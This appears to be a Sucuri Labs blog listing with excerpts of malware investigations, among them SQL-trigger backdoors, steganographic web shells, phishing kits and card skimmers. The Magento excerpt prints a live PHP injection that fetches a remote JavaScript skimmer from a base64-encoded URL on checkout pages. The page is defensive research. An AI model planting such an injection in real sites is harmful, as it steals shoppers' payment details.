Sucuri Labs

Trojan Spyware and BEC Attacks

When it comes to an organization’s security, business email compromise (BEC) attacks are a big problem. One primary reason impacts are so significant is that attacks often use a human victim to authorize a fraudulent transaction to bypass existing security controls that would normally be used to prevent fraud. Another reason is that social engineering

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SQL Triggers in Website Backdoors

Over the past year, there’s been an increasing trend of WordPress malware using SQL triggers to hide malicious SQL queries within compromised databases. These queries inject an admin level user into the infected database whenever the trigger condition is met. What makes this especially problematic for website owners is that most malware cleanup guides focus

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Whitespace Steganography Conceals Web Shell in PHP Malware

Last November, we wrote about how attackers are using JavaScript injections to load malicious code from legitimate CSS files. At first glance, these injections didn’t appear to contain anything except for some benign CSS rules. A more thorough analysis of the .CSS file revealed 56,964 seemingly empty lines containing combinations of invisible tab (0x09), space

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Phishing & Malspam with Leaf PHPMailer

It’s common knowledge that attackers often use email as a delivery mechanism for their malicious activity — which can range from enticing victims to click a phishing URL or download a malicious attachment. To support these activities, attackers seek out tools that assist in the mass sending of malspam (malicious spam) emails from a compromised

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Magento PHP Injection Loads JavaScript Skimmer

A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php … if ($_SERVER[“REQUEST_METHOD”] === “GET”){ if (strpos($_SERVER[“REQUEST_URI”], “/onestepcheckout/index/”) !== false){ if(!isset($_COOKIE[“adminhtml”])){ echo file_get_contents(base64_decode(“aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=”)); } } } To make it more

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Critical Vulnerabilities in 123contactform-for-wordpress WordPress Plugin

In mass infection scenarios, our Malware Research team often looks for attack vectors to find patterns and other similarities among compromised websites. The identification of these patterns allows us to deploy better and faster solutions to our customers, minimizing impacts from massive attacks. Recently during a routine investigation, we found a number of vulnerabilities in

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Real-Time Phishing Kit Targets Brazilian Central Bank

We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was

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Obfuscation Techniques in Ransomweb “Ransomware”

As vital assets for many business operations, websites and their hosting servers are often the target of ransomware attacks — and if they get taken offline, this can cause major issues for a business’ data, revenue, and ultimately reputation. The worst part about ransomware is that it encrypts data and removes the original encrypted copies.

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Evaluating Cookies to Hide Backdoors

Identifying website backdoors is not always an easy task. Since a backdoors primary function is to conceal itself while providing unauthorized access, they are often developed using a variety of techniques that can make it challenging to detect. For example, an attacker can inject a single line of code containing less than 130 characters into

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Bogus CSS Injection Leads to Stolen Credit Card Details

A client recently reported their customers were receiving antivirus warnings when trying to access and purchase products from a Magento ecommerce website. This is almost always a telltale sign that something is amiss, and so I began my investigation. Malware in Database Tables As is pretty common with Magento credit card swiper investigations, my initial

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